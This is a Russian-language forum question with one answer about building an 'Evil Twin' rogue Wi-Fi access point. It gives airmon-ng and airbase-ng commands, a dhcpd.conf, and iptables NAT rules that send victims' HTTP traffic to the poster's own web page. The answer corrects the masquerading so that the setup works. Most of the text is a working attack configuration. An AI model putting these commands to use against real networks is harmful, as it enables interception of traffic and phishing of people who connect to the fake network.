Проблема iptables в Evil Twin

Проблема iptables в Evil Twin

Я изучал метод «Злого близнеца» и нашел следующие шаги:

  1. Создание АП

    airmon-ng start wlan0 
    airbase-ng -e PrivateWIFI -c 9 -v mon0
    
  2. at0Конфигурация

    ifconfig at0 up
    ifconfig at0 192.168.1.20 netmask 255.255.255.0
    route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.20
    
  3. Запустить DHCP

    echo > '/var/lib/dhcp/dhcpd.leases'
    
    /etc/init.d/isc-dhcp-server start OR dhcpd -d -f -cf /etc/dhcp/dhcpd.conf at0 ( the both of them is working fine )
    

Файл dhcpd.conf:

ddns-update-style interim;
default-lease-time 600;
max-lease-time 7200;
subnet 192.168.1.0 netmask 255.255.255.0 {
    option subnet-mask 255.255.255.0;
    option broadcast-address 192.168.1.255;
    option routers 192.168.1.1;
    option domain-name-servers 8.8.8.8;
    range 192.168.1.2 192.168.1.250;
}

и затем я запустил свой сервер apache2

(Пока проблем нет)

Статус (Я могу открыть свой веб-сервер 192.168.1.20 со своего телефона и увидеть веб-страницу, которую я создал :) :) )

Но проблема в том, что когда я добавляю команды iptables, ничего не происходит:

iptables --flush
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface at0 -j ACCEPT
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.1.20:80
iptables -t nat -A POSTROUTING -j MASQUERADE
echo "1" > /proc/sys/net/ipv4/ip_forward

////////////////////////////////////////////////////////////////////////

iptables --flush
iptables --table nat --append POSTROUTING --out-interface at0 -j MASQUERADE
iptables --append FORWARD --in-interface at0 -j ACCEPT
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.1.20:80
iptables -t nat -A PREROUTING -p tcp --dport 8080 -j DNAT --to-destination 192.168.1.20:80
iptables -t nat -A POSTROUTING -j MASQUERADE
echo "1" > /proc/sys/net/ipv4/ip_forward

Оба они не работают, хотелось бы, чтобы кто-нибудь мне помог.

решение1

Я не знаю, связана ли проблема с тем, что ваш браузер перенаправляется на веб-сервер или он вообще не выходит в Интернет, но я вижу кое-что, что вам следует исправить.

У вас должно быть толькоодинмаскарадный интерфейс, а не два. Правильный —eth0(предполагая, что это единственный интерфейс, которыйнапрямуюподключен к интернету), а немошенническая сеть в0интерфейс. Поэтому вам необходимо удалить эту предпоследнюю строку.

После этого проверьте, работает ли все так, как вы ожидаете. Если нет, дайте нам точное описание вашей проблемы вместе с вашей текущей диагностикой.

С уважением.

Связанный контент